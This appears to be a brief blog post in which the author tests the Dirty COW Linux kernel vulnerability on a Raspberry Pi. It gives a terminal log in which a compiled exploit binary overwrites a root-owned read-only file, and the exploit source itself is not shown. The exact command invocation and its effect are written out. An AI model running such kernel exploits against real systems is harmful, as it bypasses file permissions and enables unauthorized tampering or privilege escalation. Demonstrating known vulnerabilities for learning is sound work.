I just wanted to test what is this dirty cow and how does this work. I am not going to share how this works as you can search on google but below is what it can do.
Change the content of read only file with 0404 privilege
Change the content of read only file with 0404 privilege
pi@raspberrypi:~/hdhillon/cow$ ls -l
total 16
-rwxr-xr-x 1 pi pi 7653 Nov 10 15:33 harveyCOW
-rw-r--r-- 1 pi pi 2408 Nov 10 15:33 harveyCOW.c
-r-----r-- 1 root root 22 Nov 10 15:40 myReadOnlyFile.txt
pi@raspberrypi:~/hdhillon/cow$
pi@raspberrypi:~/hdhillon/cow$
pi@raspberrypi:~/hdhillon/cow$ cat myReadOnlyFile.txt
readOnly file content
pi@raspberrypi:~/hdhillon/cow$
pi@raspberrypi:~/hdhillon/cow$ ./harveyCOW myReadOnlyFile.txt mOOOmOOOOmOOOmOOOOmOOOOO
mmap b6fae000
^C
pi@raspberrypi:~/hdhillon/cow$
pi@raspberrypi:~/hdhillon/cow$ cat myReadOnlyFile.txt
mOOOmOOOOmOOOmOOOOmOOOpi@raspberrypi:~/hdhillon/cow$
pi@raspberrypi:~/hdhillon/cow$
pi@raspberrypi:~/hdhillon/cow$ ls -l
total 16
-rwxr-xr-x 1 pi pi 7653 Nov 10 15:33 harveyCOW
-rw-r--r-- 1 pi pi 2408 Nov 10 15:33 harveyCOW.c
-r-----r-- 1 root root 22 Nov 10 15:40 myReadOnlyFile.txt
pi@raspberrypi:~/hdhillon/cow$